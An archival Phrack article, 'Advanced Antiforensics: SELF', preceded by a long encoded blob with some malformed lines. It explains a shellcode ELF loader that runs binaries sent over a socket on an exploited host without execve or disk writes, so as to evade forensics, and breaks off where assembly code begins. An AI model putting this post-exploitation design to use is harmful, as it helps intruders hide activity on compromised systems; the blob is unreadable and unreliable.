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
====

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14

```
|=----------------=[ Advanced Antiforensics : SELF  ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Pluf & Ripe ]=------------------------------=|
|=----------------------[ www.7a69ezine.org ]=---------------------------=|
```


---[1 - Introduction

The techniques of remote services' exploitation have made a substantial progress. At the same time, the range of shellcodes have increased and incorporates new and complex anti-detection techniques like polymorphism functionalities.

In spite of the advantages that all these give to the attackers, a call to the syscall execve is always needed; that ends giving rise to a series of problems:

- The access to the syscall execve may be denied if the host uses some kind of modern protection system.

- The call to execve requires the file to execute to be placed in the hard disk. Consequently, if '/bin/shell' does not exist, which is a common fact in chroot environments, the shellcode will not be executed properly.

- The host may not have tools that the intruder may need, thus creating the need to upload them, which can leave traces of the intrusion in the disk.

The need of a shellcode that solves them arises. The solution is found in the 'userland exec'.

---[2 - Userland Execve

The procedure that allows the local execution of a program avoiding the use of the syscall execve is called 'userland exec' or 'userland execve'. It's basically a mechanism that simulates correctly and orderly most of the procedures that the kernel follows to load an executable file in memory and start its execution. It can be summarized in just three steps:

- Load of the binary's required sections into memory.
- Initialization of the stack context.
- Jump to the entry point (starting point).

The main aim of the 'userland exec' is to allow the binaries to load avoiding the use of the syscall execve that the kernel contains, solving the first of the problems stated above. At the same time, as it is a specific implementation we can adapt its features to our own needs. We'll make it so the ELF file will not be read from the hard disk but from other supports like a socket. With this procedure, the other two problems stated before are solved because the file '/bin/sh' doesn't need to be visible by the exploited process but can be read from the net. On the other hand, tools that don't reside in the destination host can also be executed.

The first public implementation of a execve in a user environment was made by "the grugq" [1], its codification and inner workings are perfect but it has some disadvantages:

- Doesn't work for real attacks.
- The code is too large and difficult to port.

Thanks to that fact it was decided to put our efforts in developing another 'userland execve' with the same features but with a simpler codification and oriented to exploits' use. The final result has been the 'shellcode ELF loader'.

---[3 - Shellcode ELF loader

The shellcode ELF loader or Self is a new and sophisticated post-exploitation technique based on the userland execve. It allows the load and execution of a binary ELF file in a remote machine without storing it on disk or modifying the original filesystem. The target of the shellcode ELF loader is to provide an effective and modern post-exploitation anti-forensic system for exploits combined with an easy use. That is, that an intruder can execute as many applications as he desires.

---[4 - Design and Implementation

Obtaining an effective design hasn't been an easy task, different options have been considered and most of them have been dropped. At last, it was selected the most creative design that allows more flexibility, portability and a great ease of use.

The final result is a mix of multiple pieces, independent one of another, that realize their own function and work together in harmony. This pieces are three: the lxobject, the builder and the jumper. These elements will make the task of executing a binary in a remote machine quite easy. The lxobject is a special kind of object that contains all the required elements to change the original executable of a guest process by a new one. The builder and jumper are the pieces of code that build the lxobject, transfer it from the local machine (attacker) to the remote machine (attacked) and activate it.

As a previous step before the detailed description of the inner details of this technique, it is needed to understand how, when and where it must be used. Here follows a short summary of its common use:

- 1st round, exploitation of a vulnerable service:

  In the 1st round we have a machine X with a vulnerable service Y. We want to exploit this juicy process so we use the suitable exploit using as payload (shellcode) the jumper. When exploited, the jumper is executed and we're ready to the next round.

- 2nd round, execution of a binary:

  Here is where the shellcode ELF loader takes part; a binary ELF is selected and the lxobject is constructed. Then, we sent it to the jumper to be activated. The result is the load and execution of the binary in a remote machine. We win the battle!!

---[4.1 - The lxobject

What the hell is that? A lxobject is an selfloadable and autoexecutable object, that is to say, an object specially devised to completely replace the original guest process where it is located by a binary ELF file that carries and initiates its execution. Each lxobject is built in the intruder machine using the builder and it is sent to the attacked machine where the jumper receives and activates it.

Therefore, it can be compared to a missile that is sent from a place to the impact point, being the explosive charge an executable. This missile is built from three assembled parts: a binary static ELF, a preconstructed stack context and a shellcode loader.

---[4.1.1 - Static ELF binary

It's the first piece of a lxobject, the binary ELF that must be loaded and executed in a remote host. It's just a common executable file, statically compiled for the architecture and system in which it will be executed.

It was decided to avoid the use of dynamic executables because it would add complexity which isn't needed in the loading code, noticeably raising the rate of possible errors.

---[4.1.2 - Stack context

It's the second piece of a lxobject; the stack context that will be needed by the binary. Every process has an associated memory segment called stack where the functions store its local variables. During the binary load process, the kernel fills this section with a series of initial data requited for its subsequent execution. We call it 'initial stack context'.

To ease the portability and specially the loading process, a preconstructed stack context was adopted. That is to say, it is generated in our machine and it is assembled with the binary ELF file. The only required knowledge is the format and to add the data in the correct order. To the vast majority of UNIX systems it looks like:

```
        .________________.
 .-->  |   alignment    |
 |     |================|
 |     |     Argc       |          - Arguments (number)
 |     |----------------|
 |     |     Argv[]     |  ---.       - Arguments (vector)
 |     |----------------|     |
 |     |     Envp[]     |  ---|---.   - Environment variables (vector)
 |     |----------------|     |   |
 |     |  argv strings  |  <--'   |
 |     |----------------|         |   - Argv and envp data (strings)
 |     |  envp strings  |  <------'
 |     |================|
 '---  |   alignment    |  ------->   Upper and lower alignments
       '________________'
```

This is the stack context, most reduced and functional available for us. As it can be observed no auxiliary vector has been added because the work with static executables avoids the need to worry about linking. Also, there isn't any restriction about the allowed number of arguments and environment variables; a bunch of them can increase the context's size but nothing more.

As the context is built in the attacker machine, that will usually be different from the attacked one; knowledge of the address space in which the stack is placed will be required. This is a process that is automatically done and doesn't suppose a problem.

--[4.1.3 - Shellcode Loader

This is the third and also the most important part of a lxobject. It's a shellcode that must carry on the loading process and execution of a binary file. it is really a simple but powerful implementation of userland execve().

The loading process takes the following steps to be completed successfully (x86 32bits):

 * pre-loading: first, the jumper must do some operations before anything
   else. It gets the memory address where the lxobject has been previously

stored and pushes it into the stack, then it finds the loader code and
jumps to it. The loading has begun.

```
__asm__(
